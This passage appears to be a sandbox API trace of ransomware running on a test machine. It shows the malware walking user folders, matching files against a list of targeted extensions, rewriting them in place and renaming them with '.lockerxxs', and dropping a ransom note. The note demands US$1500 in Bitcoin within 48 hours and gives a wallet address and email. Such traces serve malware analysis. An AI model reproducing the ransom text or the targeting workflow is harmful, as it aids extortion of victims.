dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0090.092] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5f03 [0090.092] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xc9adc580, dwHighDateTime=0x1d5621d), lpLastAccessTime=0x407536*(dwLowDateTime=0xed91e1e0, dwHighDateTime=0x1d5cdf5), lpLastWriteTime=0x40753e*(dwLowDateTime=0xed91e1e0, dwHighDateTime=0x1d5cdf5)) returned 1 [0090.093] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.093] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5edd, lpOverlapped=0x0) returned 1 [0090.094] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx") returned="z78YS7XFVdUaKb.xlsx" [0090.095] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.095] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5edd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5edd, lpOverlapped=0x0) returned 1 [0090.095] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.095] CloseHandle (hObject=0x88) returned 1 [0090.096] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z78ys7xfvduakb.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z78ys7xfvduakb.xlsx.lockerxxs")) returned 1 [0090.097] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f9250, ftCreationTime.dwHighDateTime=0x1d5c5d3, ftLastAccessTime.dwLowDateTime=0xb432c570, ftLastAccessTime.dwHighDateTime=0x1d55c46, ftLastWriteTime.dwLowDateTime=0xb432c570, ftLastWriteTime.dwHighDateTime=0x1d55c46, nFileSizeHigh=0x0, nFileSizeLow=0xb07e, dwReserved0=0x41000342, dwReserved1=0x4e00c4, cFileName="_zT0Om.pptx", cAlternateFileName="_ZT0OM~1.PPT")) returned 1 [0090.097] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.097] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_zT0Om.pptx") returned 1 [0090.098] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_zT0Om.pptx") returned 1 [0090.098] lstrcmpiA (lpString1="", lpString2="_zT0Om.pptx") returned -1 [0090.098] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx") returned="z78YS7XFVdUaKb.xlsx" [0090.098] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.098] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="" [0090.098] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" [0090.098] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to decrypt files.txt")) returned 0x20 [0090.098] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="_zT0Om.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx" [0090.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.ems") returned 0 [0090.098] lstrlenA (lpString="*.ems") returned 5 [0090.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.db") returned 0 [0090.098] lstrlenA (lpString="*.db") returned 4 [0090.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.dbf") returned 0 [0090.098] lstrlenA (lpString="*.dbf") returned 5 [0090.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.myox") returned 0 [0090.098] lstrlenA (lpString="*.myox") returned 6 [0090.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.myo") returned 0 [0090.098] lstrlenA (lpString="*.myo") returned 5 [0090.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.qbw") returned 0 [0090.099] lstrlenA (lpString="*.qbw") returned 5 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.qbb") returned 0 [0090.099] lstrlenA (lpString="*.qbb") returned 5 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.qbm") returned 0 [0090.099] lstrlenA (lpString="*.qbm") returned 5 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.qbo") returned 0 [0090.099] lstrlenA (lpString="*.qbo") returned 5 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.qbx") returned 0 [0090.099] lstrlenA (lpString="*.qbx") returned 5 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.qba") returned 0 [0090.099] lstrlenA (lpString="*.qba") returned 5 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.qby") returned 0 [0090.099] lstrlenA (lpString="*.qby") returned 5 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.qbj") returned 0 [0090.099] lstrlenA (lpString="*.qbj") returned 5 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.ofx") returned 0 [0090.099] lstrlenA (lpString="*.ofx") returned 5 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.qif") returned 0 [0090.099] lstrlenA (lpString="*.qif") returned 5 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.mye") returned 0 [0090.099] lstrlenA (lpString="*.mye") returned 5 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.mbox") returned 0 [0090.099] lstrlenA (lpString="*.mbox") returned 6 [0090.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.eml") returned 0 [0090.099] lstrlenA (lpString="*.eml") returned 5 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.pst") returned 0 [0090.100] lstrlenA (lpString="*.pst") returned 5 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.ost") returned 0 [0090.100] lstrlenA (lpString="*.ost") returned 5 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.idx") returned 0 [0090.100] lstrlenA (lpString="*.idx") returned 5 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.dbx") returned 0 [0090.100] lstrlenA (lpString="*.dbx") returned 5 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.sql") returned 0 [0090.100] lstrlenA (lpString="*.sql") returned 5 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.mdb") returned 0 [0090.100] lstrlenA (lpString="*.mdb") returned 5 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.fdb") returned 0 [0090.100] lstrlenA (lpString="*.fdb") returned 5 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.wab") returned 0 [0090.100] lstrlenA (lpString="*.wab") returned 5 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.dat") returned 0 [0090.100] lstrlenA (lpString="*.dat") returned 5 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.txt") returned 0 [0090.100] lstrlenA (lpString="*.txt") returned 5 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.jpeg") returned 0 [0090.100] lstrlenA (lpString="*.jpeg") returned 6 [0090.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.jpg") returned 0 [0090.101] lstrlenA (lpString="*.jpg") returned 5 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.png") returned 0 [0090.101] lstrlenA (lpString="*.png") returned 5 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.php") returned 0 [0090.101] lstrlenA (lpString="*.php") returned 5 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.cs") returned 0 [0090.101] lstrlenA (lpString="*.cs") returned 4 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.cpp") returned 0 [0090.101] lstrlenA (lpString="*.cpp") returned 5 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.rar") returned 0 [0090.101] lstrlenA (lpString="*.rar") returned 5 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.zip") returned 0 [0090.101] lstrlenA (lpString="*.zip") returned 5 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.html") returned 0 [0090.101] lstrlenA (lpString="*.html") returned 6 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.htm") returned 0 [0090.101] lstrlenA (lpString="*.htm") returned 5 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.xlsx") returned 0 [0090.101] lstrlenA (lpString="*.xlsx") returned 6 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.xls") returned 0 [0090.101] lstrlenA (lpString="*.xls") returned 5 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.mp4") returned 0 [0090.101] lstrlenA (lpString="*.mp4") returned 5 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.ppt") returned 0 [0090.101] lstrlenA (lpString="*.ppt") returned 5 [0090.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", pszSpec="*.pptx") returned 1 [0090.102] lstrlenA (lpString="*.pptx") returned 6 [0090.102] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx" [0090.102] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx" [0090.102] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx." [0090.102] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx.lockerxxs" [0090.102] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_zt0om.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0090.103] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb07e [0090.103] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x70f9250, dwHighDateTime=0x1d5c5d3), lpLastAccessTime=0x407536*(dwLowDateTime=0xb432c570, dwHighDateTime=0x1d55c46), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb432c570, dwHighDateTime=0x1d55c46)) returned 1 [0090.103] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.103] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xb058, lpOverlapped=0x0) returned 1 [0090.104] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx") returned="_zT0Om.pptx" [0090.105] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.105] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb058, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb058, lpOverlapped=0x0) returned 1 [0090.105] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.105] CloseHandle (hObject=0x88) returned 1 [0090.105] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_zt0om.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_zT0Om.pptx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_zt0om.pptx.lockerxxs")) returned 1 [0090.107] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f9250, ftCreationTime.dwHighDateTime=0x1d5c5d3, ftLastAccessTime.dwLowDateTime=0xb432c570, ftLastAccessTime.dwHighDateTime=0x1d55c46, ftLastWriteTime.dwLowDateTime=0xb432c570, ftLastWriteTime.dwHighDateTime=0x1d55c46, nFileSizeHigh=0x0, nFileSizeLow=0xb07e, dwReserved0=0x41000342, dwReserved1=0x4e00c4, cFileName="_zT0Om.pptx", cAlternateFileName="_ZT0OM~1.PPT")) returned 0 [0090.107] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0090.107] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0090.107] lstrcmpA (lpString1=".", lpString2="Downloads") returned -1 [0090.107] lstrcmpA (lpString1="..", lpString2="Downloads") returned -1 [0090.107] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0090.107] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Downloads" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" [0090.107] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 39 [0090.107] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x35000336, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0090.108] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.108] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.108] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.108] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.108] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.108] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.108] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0090.108] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0090.108] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0090.108] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.*") returned="*.*" [0090.108] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\" [0090.108] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="" [0090.108] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO DECRYPT FILES.txt" [0090.108] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\how to decrypt files.txt")) returned 0xffffffff [0090.108] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0090.109] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.109] WriteFile (in: hFile=0x88, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.113] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.113] CloseHandle (hObject=0x88) returned 1 [0090.114] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" [0090.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.ems") returned 0 [0090.114] lstrlenA (lpString="*.ems") returned 5 [0090.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.db") returned 0 [0090.114] lstrlenA (lpString="*.db") returned 4 [0090.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.dbf") returned 0 [0090.114] lstrlenA (lpString="*.dbf") returned 5 [0090.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.myox") returned 0 [0090.114] lstrlenA (lpString="*.myox") returned 6 [0090.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.myo") returned 0 [0090.114] lstrlenA (lpString="*.myo") returned 5 [0090.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.qbw") returned 0 [0090.114] lstrlenA (lpString="*.qbw") returned 5 [0090.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.qbb") returned 0 [0090.114] lstrlenA (lpString="*.qbb") returned 5 [0090.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.qbm") returned 0 [0090.114] lstrlenA (lpString="*.qbm") returned 5 [0090.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.qbo") returned 0 [0090.115] lstrlenA (lpString="*.qbo") returned 5 [0090.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.qbx") returned 0 [0090.115] lstrlenA (lpString="*.qbx") returned 5 [0090.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.qba") returned 0 [0090.115] lstrlenA (lpString="*.qba") returned 5 [0090.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.qby") returned 0 [0090.115] lstrlenA (lpString="*.qby") returned 5 [0090.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.qbj") returned 0 [0090.115] lstrlenA (lpString="*.qbj") returned 5 [0090.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.ofx") returned 0 [0090.115] lstrlenA (lpString="*.ofx") returned 5 